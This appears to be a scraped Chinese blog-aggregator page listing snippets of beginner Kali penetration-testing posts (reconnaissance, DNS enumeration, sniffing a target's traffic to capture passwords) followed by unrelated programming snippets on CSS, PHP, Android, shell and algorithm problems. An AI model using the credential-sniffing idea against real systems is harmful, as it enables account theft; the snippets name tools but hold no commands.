    Recon-ng Recon-NG是由python编写的一个开源的Web侦查(信息收集)框架.Recon-ng框架是一个全特性的工具,使用它可以自动的收集信息和网络侦查.其命令格式与Metasploi ...

  8. 小白日记3:kali渗透测试之被动信息收集(二)-dig、whios、dnsenum、fierce

    一.DIG linux下查询域名解析有两种选择,nslookup或者dig.Dig(Domain Information Groper)是一个在类Unix命令行模式下查询DNS包括NS记录,A记录,M ...

  9. 小白日记22:kali渗透测试之提权(二)--抓包嗅探

    抓包嗅探 通过抓包嗅探目标机器的流量,发现账号密码. Windows系统 1.Wirehshark 2.Omnipeek 3.commview 4.Sniffpass 只会抓取识别传输密码的明文协议, ...

随机推荐

  1. CSS使用简介

    1.CSS 指层叠样式表 (Cascading Style Sheets) 2.说明: 样式定义如何显示 HTML 元素:     样式通常存储在样式表中:     把样式添加到 HTML 4.0 中 ...

  2. PHP中的替代语法

    今天看了一下wordpress的代码,里面有些少见的php替代语法, <?php else : ?> <div class="entry-content"> ...

  3. Handler笔记

    5.Handler内存泄露 在一个Activity里面,如果没有静态地创建一个Handler,有可能导致内存泄露. 因为Hander和Looper绑定,如果looper的MessageQueue有消息 ...

  4. crontab 获取本机ip

    写了个shell获取ip的函数,如下 function GetLocalIP() { ifconfig | grep 'inet '| grep -v '127.0.0.1' | cut -d: -f ...

  5. codeforces 630A Again Twenty Five!

    A. Again Twenty Five! time limit per test 0.5 seconds memory limit per test 64 megabytes input stand ...

  6. 蓝桥杯 入门训练 Fibonacci数列

      入门训练 Fibonacci数列   时间限制:1.0s   内存限制:256.0MB        问题描述 Fibonacci数列的递推公式为:Fn=Fn-1+Fn-2,其中F1=F2=1. ...

  7. datasnap的前世今生

    随着XE6,XE7,以及半年以后即将发布的XE8,DATASNAP将顺应跨平台的需要, 有可能的情况是这样的:XE8,DATASNAP写的中间件将可以运行在LINUX服务器上面. 大家都知道COM是W ...

  8. 计算两个日期相隔的天数(jodd)

    public static void main(String[] args) throws ParseException { System.out.println(TimeUtil.dayOfYear ...

  9. 深度剖析WordPress主题结构(转)

    利用强大的技术,可以把基于wordpress的网站做成各种各样的形式,这除了要求wordpress主题开发人员精通html,PHP,JS,CSS等技术,还需要开发者掌握WordPress主题的框架. ...

  10. hdu3001 Travelling

    Travelling Time Limit: 6000/3000 MS (Java/Others)    Memory Limit: 32768/32768 K (Java/Others) Total ...